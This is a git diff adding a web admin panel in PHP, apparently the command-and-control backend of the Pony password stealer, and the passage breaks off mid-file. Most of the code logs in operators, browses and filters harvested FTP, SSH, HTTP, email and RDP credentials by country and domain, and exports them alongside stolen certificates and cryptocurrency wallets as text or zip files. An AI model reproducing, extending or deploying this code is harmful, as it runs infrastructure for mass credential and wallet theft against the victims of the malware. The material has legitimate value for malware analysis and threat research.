z5Nrr8gf4_01o~_E7TSWa8R15R+Ys(Upuf|%%HJOX_tyw}5S~Rif-s06fM-N7A(SFi zA<*AW^|uP;SE)1(0`@Y(+Xx>ZoIt<}?ik;L-}MMv5pF{GPlTT%+=K8S!XFU!A<*CX z_$^f9msK|`tFFV7cU5(D$&Y--pA1c0ng(5-b$Be4PauV{g{VHWM^UG@i@~@RKsz`x zj%WARsyL`wK59reIx3KAa5~!frib7M9GBv*0d7{~>n?QAS!M_io`v!_y+D`GAK)y< zS}op)yRVeu^Bw$PsT${}Re^=4J#ipfZrd`YRzKcRCu8*aKf+*ULU``81*?4e?i?Tc z#AB;n?tsrrj|<9&LMcnbx8mW~q}JeGj30Y+KtXJ!+qrIeyUKr~w{rxf4tI=k?ks@k zxFiSIfp67zj+tj?CpO6WVNEG7eKQ*PI0)dB!cqBAA4Dc1bRQYg!xk8xt_#?F_1LC% zFUDah$vNFwt_}on8edAF(+?7|272xV`w#w-VyoAI`&x9cOQnbdE$#pwJW71X7WDL7 z+`2+04hnhEmq28B>NU8DOUffOHH*{SUt8GYl)Vph^vOzW$YWEm8m}khG=eiCs3g$0C9i~oVG*ZWG|vTc1Bg1eK|h%|G@)o)Kk}wqKBFP@ylIBBb1 zPtPWTMUH(5HCZosJpCYgeVgw-+>;Tu7A`WvDHcbTc(`RE8g#=P7EjnN)e2i4@=Jf!hau27&BY~iN?r%xzKahp%= zTZy4UD?9zmGz=<-zFime;}QQ*J7LhMrlzUd1`t`NBp9%?{qaiLO2+XaDjA2-W7rZ% z_OqFeHz2>miPvldLoFM;bk7JM{DIBG8(#3*4L-mN2%n(Tz&LA$ld-sZpuqTWgR`}Z dQaDo9y4Hu|o1)2DffFzRx-I>$zppKU{|8!ZRTKaK literal 0 HcmV?d00001 diff --git a/panel/404.html b/panel/404.html new file mode 100644 index 0000000..dc3ccdb --- /dev/null +++ b/panel/404.html @@ -0,0 +1,10 @@ + + + + 404 Not Found + + +

Not Found

+

The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again.

+ + \ No newline at end of file diff --git a/panel/admin.php b/panel/admin.php new file mode 100644 index 0000000..2a81bea --- /dev/null +++ b/panel/admin.php @@ -0,0 +1,1719 @@ +connect_db($mysql_host, $mysql_user, $mysql_pass, $mysql_database, true); + +// set cookie name +// cookie should be different for each script +$config_cookie_name = 'auth_cookie'; +if (isset($proxy_id)) +{ + $config_cookie_name = 'auth_cookie_'.$proxy_id; +} + +// set report decryption password +$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD); +// set report parsing options +$pony_report_options = array('sftp_user' => $pony_db->get_option('sftp_user', '', '1'), + 'sftp_port' => $pony_db->get_option('sftp_port', '', '1'), + 'sftp_protocol' => $pony_db->get_option('sftp_protocol', '', '1')); + +// default values for unset config variables +if (!isset($show_help_to_users)) + $show_help_to_users = true; +if (!isset($show_http_to_users)) + $show_http_to_users = true; +if (!isset($show_logons_to_users)) + $show_logons_to_users = true; +if (!isset($show_other_to_users)) + $show_other_to_users = true; +if (!isset($enable_http_mode)) + $enable_http_mode = false; +if (!isset($disable_ip_logger)) + $disable_ip_logger = false; +if (!isset($enable_email_mode)) + $enable_email_mode = false; +if (!isset($show_email_to_users)) + $show_email_to_users = true; +if (!isset($show_domains)) + $show_domains = false; +if (!isset($show_domains_to_users)) + $show_domains_to_users = true; + +// initialize CSRF token +if (!isset($_SESSION['token'])) +{ + $token = md5(uniqid(rand(), TRUE)); + $_SESSION['token'] = $token; +} +else +{ + $token = $_SESSION['token']; +} + +// initialize smarty +define('SMARTY_DIR', str_replace("\\", "/", getcwd()).'/includes/Smarty-3.1.15/libs/'); +require_once(SMARTY_DIR . 'Smarty.class.php'); +require_once(SMARTY_DIR . 'SmartyPaginate.class.php'); +function escFilter($content) +{ + return htmlspecialchars($content, ENT_QUOTES, 'cp1251'); +} +$smarty = new Smarty(); +$smarty->setCacheDir($global_temporary_directory.'/'); +$smarty->setCompileDir($global_temporary_directory.'/'); +$smarty->setTemplateDir('includes/templates/'); +$smarty->registerFilter('variable', 'escFilter'); +$smarty->loadFilter('output', 'trimwhitespace'); +$smarty->caching = false; +$smarty->assign('show_help_to_users', $show_help_to_users); +$smarty->assign('show_http_to_users', $show_http_to_users); +$smarty->assign('show_logons_to_users', $show_logons_to_users); +$smarty->assign('show_other_to_users', $show_other_to_users); +$smarty->assign('enable_http_mode', $enable_http_mode); +$smarty->assign('disable_ip_logger', $disable_ip_logger); +$smarty->assign('enable_email_mode', $enable_email_mode); +$smarty->assign('show_email_to_users', $show_email_to_users); +$smarty->assign('show_domains', $show_domains); +$smarty->assign('show_domains_to_users', $show_domains_to_users); +$smarty->assign('token', $token); + +// initialize common used variables +$self_file = $_SERVER['SCRIPT_NAME']; +$authentication_login = trim(assign($_REQUEST['login'])); +$authentication_password = trim(assign($_REQUEST['password'])); +$authentication_success = false; +$authentication_attempt = isset($_REQUEST['login']) && isset($_REQUEST['password']); +$authentication_save_password = trim(assign($_REQUEST['save_password'])); +$admin_action = trim(assign($_REQUEST['action'])); +$auth_cookie = trim(assign($_COOKIE[$config_cookie_name])); +$admin_routine = trim(assign($_REQUEST['routine'])); +$use_zip = trim(assign($_REQUEST['zip'])) == '1'; + +// filter available action pages +if (array_search($admin_action, array('ftp', 'http', 'stats', 'ping', 'log', 'admin', 'exit', 'help', 'chart', 'reports', 'other')) === false) +{ + $admin_action = ''; +} + +// authentication +if (!$authentication_attempt) +{ + $authentication_login = trim(assign($_REQUEST['login'])); + $authentication_password = trim(assign($_REQUEST['password'])); + $authentication_attempt = isset($_REQUEST['login']) && isset($_REQUEST['password']); +} + +// try to authenticate +if (strlen($authentication_login) && strlen($authentication_password) && $pony_db->authenticate($authentication_login, $authentication_password)) +{ + $authentication_success = true; + + // set cookie on successful authentication + $cookie_save_password = $authentication_save_password; + if ($cookie_save_password) + $cookie_exp_time = time()+60*60*24*60; // 2 months + else + $cookie_exp_time = 0; + + setcookie($config_cookie_name, $pony_db->auth_cookie, $cookie_exp_time); +} else +{ + // authentication failed + // try to authenticate using cookie + if ($auth_cookie) + { + $authentication_success = $pony_db->autneticate_cookie($auth_cookie); + if ($authentication_success) + $authentication_login = $pony_db->login; + } +} + +// ajax ping code +// should be displayed before authorization form +if ($admin_routine == 'ping' && $admin_action == 'ping' && $authentication_success && $token === assign($_REQUEST['token']) && ($show_domains && ($pony_db->priv_is_admin() || $show_domains_to_users))) +{ + $domain_id = trim(assign($_REQUEST['domain_id'])); + $find_domain_result = $pony_db->find_domain($domain_id); + + if (is_array($find_domain_result) && $find_domain_result && count($find_domain_result) == 3) + { + list($ping_url, $ping_time, $ping_status) = $find_domain_result; + + if (curl_ping($ping_url)) + { + $pony_db->update_domain($domain_id, 'OK'); + die(""); + } + } + $pony_db->update_domain($domain_id, 'FAIL'); + die(""); +} + +if ($admin_action == 'chart' && strlen($admin_routine) && $authentication_success && $token === assign($_REQUEST['token'])) +{ + require_once('includes/chart.php'); + die(); +} + +// these variables available can be set after authentication only +$smarty->assign('priv_is_admin', $pony_db->priv_is_admin()); +$smarty->assign('priv_can_delete', $pony_db->priv_can_delete()); +$smarty->assign('authentication_success', $authentication_success); + +function smarty_assign_continents($smarty) +{ + $smarty_geo_continents = array(); + $geo_ip = new GeoIP(); + $k = 0; + for ($i = 0; $i < count($geo_ip->GEOIP_CONTINENT_CODES); $i++) + { + if (strlen($geo_ip->GEOIP_COUNTRY_NAMES[$i])) + { + if (!isset($smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]])) + { + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k]['name'] = '(all)'; + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k++]['code'] = 'all'; + } + { + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k]['name'] = $geo_ip->GEOIP_COUNTRY_NAMES[$i]; + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k++]['code'] = $geo_ip->GEOIP_COUNTRY_CODES[$i]; + } + } + } + + $smarty->assign('geo_continents', $smarty_geo_continents); +} + +function apply_data_filters($smarty, $do_download, $mode = 'ftp') +{ + global $pony_db; + + $filter_include_ftp = trim(assign($_REQUEST['filter_include_ftp'])); + $filter_include_ssh = trim(assign($_REQUEST['filter_include_ssh'])); + + $filter_include_http = trim(assign($_REQUEST['filter_include_http'])); + $filter_include_https = trim(assign($_REQUEST['filter_include_https'])); + + $filter_trim_dirs = trim(assign($_REQUEST['filter_trim_dirs'])); + if ($filter_trim_dirs != '1') + $filter_trim_dirs = ''; + + if ($mode == 'ftp') + { + // include ftp/ssh + if ($filter_include_ftp == '1' && $filter_include_ssh == '1') + $include_subtypes = 'both'; + else if ($filter_include_ssh) + $include_subtypes = 'ssh'; + else + $include_subtypes = 'ftp'; + } else + { + // include http/https + if ($filter_include_http == '1' && $filter_include_https == '1') + $include_subtypes = 'both'; + else if ($filter_include_http) + $include_subtypes = 'http'; + else + $include_subtypes = 'https'; + } + + // include domains + $include_domains = trim(assign($_REQUEST['filter_domains_include'])); + + // exclude domains + $exclude_domains = trim(assign($_REQUEST['filter_domains_exclude'])); + + // text substring + $filter_text = trim(assign($_REQUEST['filter_text'])); + + // date filter + $filter_date_from = trim(assign($_REQUEST['filter_date_from'])); + $filter_date_to = trim(assign($_REQUEST['filter_date_to'])); + + // export ip setting + $filter_export_ip = trim(assign($_REQUEST['filter_export_ip'])); + if ($filter_export_ip != '1') + $filter_export_ip = ''; + + // country filter + $filter_country = array(); + $geo_ip = new GeoIP(); + + foreach ($geo_ip->GEOIP_CONTINENT_CODES as $continent_code) + { + if (isset($_REQUEST['country_'.strtolower($continent_code)]) && is_array($_REQUEST['country_'.strtolower($continent_code)])) + { + foreach ($_REQUEST['country_'.strtolower($continent_code)] as $country_code) + { + if (strlen(trim($country_code)) && $country_code != 'all') + { + $filter_country[trim($country_code)] = 1; + } + } + } + } + + // when all countries are marked, do not apply country exclude filter + if (count($filter_country) == count($geo_ip->GEOIP_COUNTRY_CODES)-1) + { + $filter_country = array(); + } + + $ftp_list = array(); + if (strlen($filter_include_ftp) || strlen($filter_include_ssh) || strlen($filter_trim_dirs) || strlen($filter_include_http) || strlen($filter_include_https) || count($filter_country) || strlen($include_domains) || strlen($exclude_domains) || strlen($filter_date_from) || strlen($filter_date_to) || + strlen($filter_text) || strlen($filter_export_ip)) + { + if ($mode == 'ftp') + { + $filtered_items = $pony_db->get_ftp_list($do_download, $ftp_list, 0, $include_subtypes, 0, $filter_date_from, $filter_date_to, $filter_country, $include_domains, $exclude_domains, $filter_trim_dirs, !$do_download, $filter_text, $filter_export_ip); + } + else + { + $filtered_items = $pony_db->get_http_list($do_download, $ftp_list, 0, $include_subtypes, 0, $filter_date_from, $filter_date_to, $filter_country, $include_domains, $exclude_domains, $filter_trim_dirs, !$do_download, $filter_text, $filter_export_ip); + } + + // filter preview + if ($filtered_items !== false && isset($filtered_items['list']) && isset($filtered_items['count'])) + { + if (is_array($filtered_items['list'])) + { + foreach ($filtered_items['list'] as $ftp_item=>$ftp_value) + { + if (!$pony_db->report_id_exists($filtered_items['list'][$ftp_item]['report_id'])) + { + $filtered_items['list'][$ftp_item]['report_id'] = ''; + } + } + } + + $smarty->assign('filtered_items_count', $filtered_items['count']); + $smarty->assign('filtered_items_list', $filtered_items['list']); + } + } +} + +if ($authentication_success) +{ + // successfull authentication + + // log it + if ($authentication_attempt) + { + if (!$disable_ip_logger) + { + $pony_db->add_log_line(get_client_ip(), CLOG_SOURCE_LOGIN, null, $authentication_login); + } + } +} else if (!$authentication_attempt) +{ + // didn't try to authenticate the user + // show authentication form + $smarty->display('header.tpl'); + $smarty->display('login_form.tpl'); + $smarty->display('footer.tpl'); + die(); +} else +{ + // tried to authenticate the user, but failed + // show error message + $smarty->display('header.tpl'); + show_smarty_error($smarty, 'ERR_WRONG_PASSWORD', ''); + $smarty->display('footer.tpl'); +} + +if ($admin_action == '' && $admin_routine == '' && $authentication_success) +{ + // workaround for saved password autologin +} else if ($admin_action == 'exit' || $token !== assign($_REQUEST['token'])) +{ + $cookie_exp_time = 1; + $pony_db->remove_auth_cookie($auth_cookie); + setcookie($config_cookie_name, '', $cookie_exp_time); + + // destroy session + $_SESSION = array(); + + if (ini_get("session.use_cookies")) { + $params = session_get_cookie_params(); + setcookie(session_name(), '', time() - 42000, + $params["path"], $params["domain"], + $params["secure"], $params["httponly"] + ); + } + + // redirect to authentication page + header('Location: '.$self_file); + + session_destroy(); + die(); +} + +if (!$authentication_success) +{ + // authentication failed, stop script execution + die(); +} + +function set_common_file_download_header($file_name = '', $content_type = 'text/plain') +{ + header("Pragma: public"); + header("Expires: 0"); + header("Pragma: no-cache"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Cache-Control: private", false); + header("Content-Type: $content_type"); + header("Content-Transfer-Encoding: binary"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header('Content-Disposition: attachment; filename="'.$file_name.'";'); +} + +if ($admin_routine == 'download_ftp' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('ftp_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_ftp_list(true); + $ftp_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('ftp_list.txt', $ftp_list_data); + } else + { + set_common_file_download_header('ftp_list.txt'); + $pony_db->get_ftp_list(true); + } + die(); +} +if ($admin_routine == 'download_ssh' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('ssh_list.zip', 'application/zip'); + ob_start(); + $null_array = array(); + $pony_db->get_ftp_list(true, $null_array, 0, 'ssh'); + $ssh_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('ssh_list.txt', $ssh_list_data); + } else + { + set_common_file_download_header('ssh_list.txt'); + $null_array = array(); + $pony_db->get_ftp_list(true, $null_array, 0, 'ssh'); + } + die(); +} +if ($admin_routine == 'download_http' && $admin_action == 'http' && $enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('http_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_http_list(true); + $http_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('http_list.txt', $http_list_data); + } else + { + set_common_file_download_header('http_list.txt'); + $pony_db->get_http_list(true); + } + die(); +} +if ($admin_routine == 'download_email' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('email_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_email_list(true); + $email_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('email_list.txt', $email_list_data); + } else + { + set_common_file_download_header('email_list.txt'); + $pony_db->get_email_list(true); + } + die(); +} +if ($admin_routine == 'download_email_smtp' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('email_smtp_list.zip', 'application/zip'); + ob_start(); + $null_list = array(); + $pony_db->get_email_list(true, $null_list, 0, 'smtp'); + $email_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('email_smtp_list.txt', $email_list_data); + } else + { + set_common_file_download_header('email_smtp_list.txt'); + $pony_db->get_email_list(true, $null_list, 0, 'smtp'); + } + die(); +} +if ($admin_routine == 'download_rdp') +{ + if ($use_zip) + { + set_common_file_download_header('rdp_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_rdp_list(true); + $rdp_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('rdp_list.txt', $rdp_list_data); + } else + { + set_common_file_download_header('rdp_list.txt'); + $pony_db->get_rdp_list(true); + } + die(); +} +if ($admin_routine == 'download_reports' && $admin_action == 'ftp') +{ + set_common_file_download_header('reports.sql'); + $pony_db->export_reports(false); + die(); +} + +if ($admin_routine == 'download_nonparsed_reports' && $admin_action == 'ftp') +{ + set_common_file_download_header('non_parsed_reports.sql'); + $pony_db->export_reports(true); + die(); +} + +if ($admin_routine == 'download_log' && $admin_action == 'log') +{ + if ($use_zip) + { + set_common_file_download_header('log.zip', 'application/zip'); + ob_start(); + $null_list = array(); + $pony_db->get_log_list($null_list, 0, 0, true); + $log_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('log.txt', $log_list_data); + } else + { + set_common_file_download_header('log.txt'); + $null_list = array(); + $pony_db->get_log_list($null_list, 0, 0, true); + } + die(); +} + +if ($admin_routine == 'download_report' && $admin_action == 'reports') +{ + $report_id = trim(assign($_REQUEST['report_id'])); + $report_item_result = $pony_db->get_report_item($report_id); + if ($pony_db->state && is_array($report_item_result)) + { + set_common_file_download_header('report_'.strval(intval($report_id)).'.bin', 'application/octet-stream'); + header("Content-Length: ".strlen($report_item_result['data'])); + echo $report_item_result['data']; + } else + die('Report not found!'); + die(); +} +if ($admin_routine == 'filter_download' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('filtered_list.zip', 'application/zip'); + ob_start(); + apply_data_filters($smarty, true); + $filter_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('filtered_list.txt', $filter_list_data); + } else + { + set_common_file_download_header('filtered_list.txt'); + apply_data_filters($smarty, true); + } + die(); +} +if ($admin_routine == 'filter_download' && $admin_action == 'http') +{ + if ($use_zip) + { + set_common_file_download_header('filtered_http_list.zip', 'application/zip'); + ob_start(); + apply_data_filters($smarty, true, 'http'); + $filter_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('filtered_http_list.txt', $filter_list_data); + } else + { + set_common_file_download_header('filtered_http_list.txt'); + apply_data_filters($smarty, true, 'http'); + } + die(); +} +if ($admin_routine == 'download_cert' && $admin_action == 'other') +{ + set_common_file_download_header('certificates.zip', 'application/zip'); + + $pony_db->get_cert_zip(); + + die(); +} +if ($admin_routine == 'download_wallet' && $admin_action == 'other') +{ + set_common_file_download_header('wallets.zip', 'application/zip'); + + $pony_db->get_wallet_zip(); + + die(); +} + + +$smarty->display('header.tpl'); + +my_flush(); + +function clear_floating_offsets($pony_db) +{ + $offsets = array('offset_url', 'offset_ftp_last', 'offset_http_last', 'offset_reports_last', + 'offset_ftp_list', 'offset_http_list', 'data_sum', 'offset_nonparsed_reports_stats', + 'offset_nonparsed_reports_sum', 'offset_log_events_count', 'offset_report_duplicates', + 'offset_email_list'); + foreach ($offsets as $offset_to_clear) + { + $pony_db->set_multi_option($offset_to_clear, array('')); + } +} + +function smarty_assign_common_vars($smarty, $pony_db) +{ + $pony_db->lock_all_tables(); + $offset_url = $pony_db->get_multi_option('offset_url', 6); + + $url_password_stats = array(); + $pony_db->get_url_password_stats($url_password_stats, $offset_url[0]); + if (!isset($url_password_stats['ftp'])) + $url_password_stats['ftp'] = '0'; + if (!isset($url_password_stats['ssh'])) + $url_password_stats['ssh'] = '0'; + if (!isset($url_password_stats['http'])) + $url_password_stats['http'] = '0'; + if (!isset($url_password_stats['https'])) + $url_password_stats['https'] = '0'; + if (!isset($url_password_stats['rdp'])) + $url_password_stats['rdp'] = '0'; + + $url_password_stats['ftp'] += $offset_url[1]; + $url_password_stats['ssh'] += $offset_url[2]; + $url_password_stats['http'] += $offset_url[3]; + $url_password_stats['https'] += $offset_url[4]; + $url_password_stats['rdp'] += $offset_url[5]; + + $pony_db->set_multi_option('offset_url', + array( + $pony_db->get_auto_value(CPONY_FTP_TABLE), + $url_password_stats['ftp'], + $url_password_stats['ssh'], + $url_password_stats['http'], + $url_password_stats['https'], + $url_password_stats['rdp'] + ) + ); + + $smarty->assign('total_ftp_items_count', $url_password_stats['ftp']); + $smarty->assign('total_http_items_count', strval(intval($url_password_stats['http']) + intval($url_password_stats['https']))); + $smarty->assign('total_cert_items_count', $pony_db->get_table_row_count(CPONY_CERT_TABLE)); + $smarty->assign('total_wallet_items_count', $pony_db->get_table_row_count(CPONY_WALLET_TABLE)); + $smarty->assign('total_email_items_count', $pony_db->get_table_row_count(CPONY_EMAIL_TABLE)); + $smarty->assign('total_email_smtp_items_count', $pony_db->get_table_row_count(CPONY_EMAIL_TABLE, "WHERE protocol='smtp'")); + $smarty->assign('total_ssh_items_count', $url_password_stats['ssh']); + $smarty->assign('total_rdp_items_count', $url_password_stats['rdp']); + $smarty->assign('total_reports_count', $pony_db->get_table_row_count(CPONY_REPORT_TABLE)); + + $report_sum = $pony_db->get_multi_option('data_sum', 2); + $total_reports_size = $report_sum[1] + $pony_db->get_report_sum('', $report_sum[0]); + + $pony_db->set_multi_option('data_sum', + array( + $pony_db->get_auto_value(CPONY_REPORT_DATA_TABLE), + $total_reports_size, + ) + ); + + $smarty->assign('total_reports_size', $total_reports_size); + + $offset_report_duplicates = $pony_db->get_multi_option('offset_report_duplicates', 2); + $report_duplicates = $offset_report_duplicates[1] + $pony_db->get_duplicate_report_count($offset_report_duplicates[0]); + $smarty->assign('report_duplicates', $report_duplicates); + $pony_db->set_multi_option('offset_report_duplicates', + array( + $pony_db->get_auto_value(CPONY_LOG_TABLE), + $report_duplicates, + ) + ); + + $offset_nonparsed_reports = $pony_db->get_multi_option('offset_nonparsed_reports_stats', 2); + $total_nonparsed_reports = $offset_nonparsed_reports[1] + $pony_db->get_table_row_count(CPONY_REPORT_TABLE, "WHERE report_id>='".mysql_real_escape_string($offset_nonparsed_reports[0])."' AND parsed='0'"); + $smarty->assign('total_nonparsed_reports', $total_nonparsed_reports); + $pony_db->set_multi_option('offset_nonparsed_reports_stats', + array( + $pony_db->get_auto_value(CPONY_REPORT_TABLE), + $total_nonparsed_reports, + ) + ); + + $offset_nonparsed_reports_sum = $pony_db->get_multi_option('offset_nonparsed_reports_sum', 2); + $total_nonparsed_reports_sum = $offset_nonparsed_reports_sum[1] + $pony_db->get_report_sum_linked("WHERE parsed='0'", $offset_nonparsed_reports_sum[0]); + $smarty->assign('total_nonparsed_report_size', $total_nonparsed_reports_sum); + $pony_db->set_multi_option('offset_nonparsed_reports_sum', + array( + $pony_db->get_auto_value(CPONY_REPORT_TABLE), + $total_nonparsed_reports_sum, + ) + ); + + $smarty->assign('total_nonparsed_report_size', $total_nonparsed_reports_sum); + $smarty->assign('total_ftp_table_size', $pony_db->get_table_size(CPONY_FTP_TABLE)); + $smarty->assign('total_report_table_size', $pony_db->get_table_size(CPONY_REPORT_TABLE) + $pony_db->get_table_size(CPONY_REPORT_DATA_TABLE)); + $smarty->assign('total_log_table_size', $pony_db->get_table_size(CPONY_LOG_TABLE)); + $smarty->assign('total_cert_table_size', $pony_db->get_table_size(CPONY_CERT_TABLE)); + $smarty->assign('total_wallet_table_size', $pony_db->get_table_size(CPONY_WALLET_TABLE)); + $smarty->assign('total_email_table_size', $pony_db->get_table_size(CPONY_EMAIL_TABLE)); + + $offset_log_events_count = $pony_db->get_multi_option('offset_log_events_count', 2); + $log_events_count = $offset_log_events_count[1] + $pony_db->get_table_row_count(CPONY_LOG_TABLE, "WHERE log_id>='".mysql_real_escape_string($offset_log_events_count[0])."' AND (log_source<>'".mysql_real_escape_string(CLOG_SOURCE_LOGIN)."')"); + $smarty->assign('log_events_count', $log_events_count); + $pony_db->set_multi_option('offset_log_events_count', + array( + $pony_db->get_auto_value(CPONY_LOG_TABLE), + $log_events_count, + ) + ); + + $smarty->assign('server_time', mysql_now_date()); + $smarty->assign('db_size', $pony_db->get_db_size()); + + $offset_ftp = $pony_db->get_multi_option('offset_ftp_last', 3); + list($offset_ftp[0], $new_ftp_last_24_hours) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[0]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_ftp[1], $new_ftp_last_hour) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[1]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_ftp[2], $new_ftp_last_10_minutes) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[2]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'ftp_id', CPONY_FTP_TABLE); + $smarty->assign('new_ftp_last_24_hours', $new_ftp_last_24_hours); + $smarty->assign('new_ftp_last_hour', $new_ftp_last_hour); + $smarty->assign('new_ftp_last_10_minutes', $new_ftp_last_10_minutes); + + $pony_db->set_multi_option('offset_ftp_last', + array( + $offset_ftp[0], + $offset_ftp[1], + $offset_ftp[2], + ) + ); + + $offset_http = $pony_db->get_multi_option('offset_http_last', 3); + list($offset_http[0], $new_http_last_24_hours) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[0]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_http[1], $new_http_last_hour) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[1]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_http[2], $new_http_last_10_minutes) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[2]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'ftp_id', CPONY_FTP_TABLE); + $smarty->assign('new_http_last_24_hours', $new_http_last_24_hours); + $smarty->assign('new_http_last_hour', $new_http_last_hour); + $smarty->assign('new_http_last_10_minutes', $new_http_last_10_minutes); + + $pony_db->set_multi_option('offset_http_last', + array( + $offset_http[0], + $offset_http[1], + $offset_http[2], + ) + ); + + $offset_reports = $pony_db->get_multi_option('offset_reports_last', 3); + list($offset_reports[0], $new_reports_last_24_hours) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[0]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'report_id', CPONY_REPORT_TABLE); + list($offset_reports[1], $new_reports_last_hour) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[1]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'report_id', CPONY_REPORT_TABLE); + list($offset_reports[2], $new_reports_last_10_minutes) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[2]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'report_id', CPONY_REPORT_TABLE); + $smarty->assign('new_reports_last_24_hours', $new_reports_last_24_hours); + $smarty->assign('new_reports_last_hour', $new_reports_last_hour); + $smarty->assign('new_reports_last_10_minutes', $new_reports_last_10_minutes); + + $pony_db->set_multi_option('offset_reports_last', + array( + $offset_reports[0], + $offset_reports[1], + $offset_reports[2], + ) + ); + + $cert_last_import = $pony_db->get_last_cert_date(); + if ($cert_last_import !== false) + { + $smarty->assign('cert_last_import', $cert_last_import); + } + + $wallet_last_import = $pony_db->get_last_wallet_date(); + if ($wallet_last_import !== false) + { + $smarty->assign('wallet_last_import', $wallet_last_import); + } + + $pony_db->unlock_all_tables(); +} + +// ------------------------------------------------------------------------------------------- +// Page processing code +// ------------------------------------------------------------------------------------------- + +if ($admin_action == 'ftp') +{ + // --------------------------------------------------------------------------------------- + // FTP list + + if ($admin_routine == 'clear_ftp') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE url_type='ftp'"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'clear_ssh') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE url_type='ssh'"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_ftp_list = $pony_db->get_multi_option('offset_ftp_list', 1); + $ftp_list = array(); + $pony_db->get_ftp_list(false, $ftp_list, 10, 'both', $offset_ftp_list[0]); + + foreach ($ftp_list as $ftp_item=>$ftp_value) + { + $ftp_list[$ftp_item]['module'] = $ftp_list[$ftp_item]['ftp_client']; + $ftp_list[$ftp_item]['ftp_client'] = module_name_to_client_name($ftp_list[$ftp_item]['ftp_client']); + if (!$pony_db->report_id_exists($ftp_list[$ftp_item]['report_id'])) + { + $ftp_list[$ftp_item]['report_id'] = ''; + } + } + + if (count($ftp_list)) + { + $first_id = $ftp_list[count($ftp_list)-1]['ftp_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_ftp_list', array($first_id)); + + apply_data_filters($smarty, false); + smarty_assign_continents($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign('ftp_list', $ftp_list); + $smarty->display('ftp_list.tpl'); +} +if ($admin_action == 'http') +{ + // --------------------------------------------------------------------------------------- + // 